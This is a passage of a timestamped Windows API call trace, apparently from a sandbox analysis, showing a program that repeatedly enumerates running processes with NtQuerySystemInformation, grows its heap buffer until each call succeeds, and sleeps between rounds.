	[0067.983] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x1b3cc) returned 0x28de680
	[0067.984] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x1b3cc, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0067.984] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x1c3f0) returned 0x28de680
	[0067.984] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x1c3f0, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0067.985] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x1d414) returned 0x28de680
	[0067.985] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x1d414, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0067.985] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x1e438) returned 0x28de680
	[0067.985] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x1e438, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0067.986] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x1f45c) returned 0x28de680
	[0067.986] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x1f45c, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0067.986] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x20480) returned 0x28de680
	[0067.986] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x20480, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0067.987] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x214a4) returned 0x28de680
	[0067.987] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x214a4, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0067.987] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x224c8) returned 0x28de680
	[0067.987] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x224c8, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0067.988] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x234ec) returned 0x28de680
	[0067.988] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x234ec, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0067.989] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x24510) returned 0x28de680
	[0067.989] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x24510, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0x0
	[0067.991] Sleep (dwMilliseconds=0x64) 
	[0068.109] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2884390, Length=0x1024, ResultLength=0x0 | out: SystemInformation=0x2884390, ResultLength=0x0) returned 0xc0000004
	[0068.110] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2884390, Size=0x2048) returned 0x28c2ab0
	[0068.110] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28c2ab0, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x28c2ab0, ResultLength=0x0) returned 0xc0000004
	[0068.110] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28c2ab0, Size=0x306c) returned 0x2894bd8
	[0068.110] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2894bd8, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x2894bd8, ResultLength=0x0) returned 0xc0000004
	[0068.110] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2894bd8, Size=0x4090) returned 0x2894bd8
	[0068.111] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2894bd8, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x2894bd8, ResultLength=0x0) returned 0xc0000004
	[0068.111] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2894bd8, Size=0x50b4) returned 0x28a62f0
	[0068.111] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0068.112] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0x60d8) returned 0x28a62f0
	[0068.112] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0068.112] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0x70fc) returned 0x28a62f0
	[0068.112] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0068.112] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0x8120) returned 0x28a62f0
	[0068.113] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0068.113] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0x9144) returned 0x28a62f0
	[0068.113] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0068.113] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0xa168) returned 0x28a62f0
	[0068.113] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0xa168, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0068.113] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0xb18c) returned 0x28a62f0
	[0068.114] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0xb18c, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0068.114] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0xc1b0) returned 0x28a62f0
	[0068.114] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0xc1b0, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0068.114] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0xd1d4) returned 0x28a62f0
	[0068.114] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0xd1d4, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0068.115] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0xe1f8) returned 0x28a62f0
	[0068.115] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0xe1f8, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0068.115] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0xf21c) returned 0x28a62f0
	[0068.115] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0xf21c, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0068.115] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0x10240) returned 0x28a62f0
	[0068.115] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0x10240, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0068.116] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0x11264) returned 0x28a62f0
	[0068.116] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0x11264, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0068.116] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0x12288) returned 0x28a62f0
	[0068.116] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0x12288, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0068.117] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0x132ac) returned 0x28de680
	[0068.119] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x132ac, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0068.119] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x142d0) returned 0x28de680
	[0068.119] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x142d0, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0068.120] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x152f4) returned 0x28de680
	[0068.120] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x152f4, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0068.120] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x16318) returned 0x28de680
	[0068.120] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x16318, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0068.121] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x1733c) returned 0x28de680
	[0068.121] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x1733c, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0068.121] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x18360) returned 0x28de680
	[0068.121] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x18360, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0068.121] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x19384) returned 0x28de680
	[0068.122] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x19384, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0068.122] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x1a3a8) returned 0x28de680
	[0068.122] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x1a3a8, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0068.122] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x1b3cc) returned 0x28de680
	[0068.122] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x1b3cc, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0068.123] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x1c3f0) returned 0x28de680
	[0068.123] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x1c3f0, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0068.123] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x1d414) returned 0x28de680
	[0068.123] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x1d414, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0068.124] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x1e438) returned 0x28de680
	[0068.124] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x1e438, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0068.124] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x1f45c) returned 0x28de680
	[0068.124] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x1f45c, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0068.125] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x20480) returned 0x28de680
	[0068.125] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x20480, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0068.125] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x214a4) returned 0x28de680
	[0068.125] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x214a4, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0068.126] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x224c8) returned 0x28de680
	[0068.126] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x224c8, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0068.126] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x234ec) returned 0x28de680
	[0068.126] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x234ec, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0068.127] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x24510) returned 0x28de680
	[0068.127] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x24510, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0x0
	[0068.129] Sleep (dwMilliseconds=0x64) 
	[0068.275] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2882180, Length=0x1024, ResultLength=0x0 | out: SystemInformation=0x2882180, ResultLength=0x0) returned 0xc0000004
	[0068.278] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2882180, Size=0x2048) returned 0x28cd4d8
	[0068.278] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28cd4d8, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x28cd4d8, ResultLength=0x0) returned 0xc0000004
	[0068.278] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28cd4d8, Size=0x306c) returned 0x2894bd8
	[0068.278] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2894bd8, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x2894bd8, ResultLength=0x0) returned 0xc0000004
	[0068.279] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2894bd8, Size=0x4090) returned 0x2894bd8
	[0068.279] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2894bd8, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x2894bd8, ResultLength=0x0) returned 0xc0000004
	[0068.279] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2894bd8, Size=0x50b4) returned 0x28a62f0
	[0068.280] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0068.280] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0x60d8) returned 0x28a62f0
	[0068.280] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0068.280] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0x70fc) returned 0x28a62f0
	[0068.280] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0068.280] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0x8120) returned 0x28a62f0
	[0068.281] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0068.281] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0x9144) returned 0x28a62f0
	[0068.281] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0068.281] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0xa168) returned 0x28a62f0
	[0068.281] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0xa168, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0068.282] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0xb18c) returned 0x28a62f0
	[0068.282] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0xb18c, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0068.282] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0xc1b0) returned 0x28a62f0
	[0068.282] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0xc1b0, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0068.282] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0xd1d4) returned 0x28a62f0
	[0068.282] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0xd1d4, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0068.283] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0xe1f8) returned 0x28a62f0
	[0068.283] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0xe1f8, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0068.283] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0xf21c) returned 0x28a62f0
	[0068.283] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0xf21c, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0068.284] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0x10240) returned 0x28a62f0
	[0068.284] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0x10240, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0068.284] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0x11264) returned 0x28a62f0
	[0068.284] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0x11264, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0068.284] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0x12288) returned 0x28a62f0
	[0068.284] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0x12288, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0068.285] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0x132ac) returned 0x28de680
	[0068.287] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x132ac, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0068.287] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x142d0) returned 0x28de680
	[0068.287] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x142d0, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0068.288] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x152f4) returned 0x28de680
	[0068.288] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x152f4, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0068.288] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x16318) returned 0x28de680
	[0068.288] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x16318, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0068.289] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x1733c) returned 0x28de680
	[0068.289] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x1733c, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0068.289] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x18360) returned 0x28de680
	[0068.289] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x18360, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0068.290] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x19384) returned 0x28de680
	[0068.290] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x19384, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0068.290] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x1a3a8) returned 0x28de680
	[0068.290] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x1a3a8, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0068.291] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x1b3cc) returned 0x28de680
	[0068.291] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x1b3cc, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0068.291] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x1c3f0) returned 0x28de680
	[0068.291] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x1c3f0, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0068.294] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x1d414) returned 0x28de680
	[0068.294] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x1d414, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0068.295] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x1e438) returned 0x28de680
	[0068.295] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x1e438, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0068.295] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x1f45c) returned 0x28de680
	[0068.295] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x1f45c, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0068.296] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x20480) returned 0x28de680
	[0068.296] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x20480, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0068.296] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x214a4) returned 0x28de680
	[0068.296] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x214a4, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0068.297] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x224c8) returned 0x28de680
	[0068.297] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x224c8, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0068.297] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x234ec) returned 0x28de680
	[0068.297] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x234ec, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0068.298] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x24510) returned 0x28de680
	[0068.298] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x24510, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0x0
	[0068.300] Sleep (dwMilliseconds=0x64) 
	[0068.511] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x1024) returned 0x28887b0
	[0068.511] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28887b0, Length=0x1024, ResultLength=0x0 | out: SystemInformation=0x28887b0, ResultLength=0x0) returned 0xc0000004
	[0068.514] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28887b0, Size=0x2048) returned 0x28c90c8
	[0068.514] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28c90c8, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x28c90c8, ResultLength=0x0) returned 0xc0000004
	[0068.514] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28c90c8, Size=0x306c) returned 0x2894bd8
	[0068.515] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2894bd8, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x2894bd8, ResultLength=0x0) returned 0xc0000004
	[0068.515] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2894bd8, Size=0x4090) returned 0x2894bd8
	[0068.515] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2894bd8, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x2894bd8, ResultLength=0x0) returned 0xc0000004
	[0068.515] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2894bd8, Size=0x50b4) returned 0x28a62f0
	[0068.516] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0068.516] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0x60d8) returned 0x28a62f0
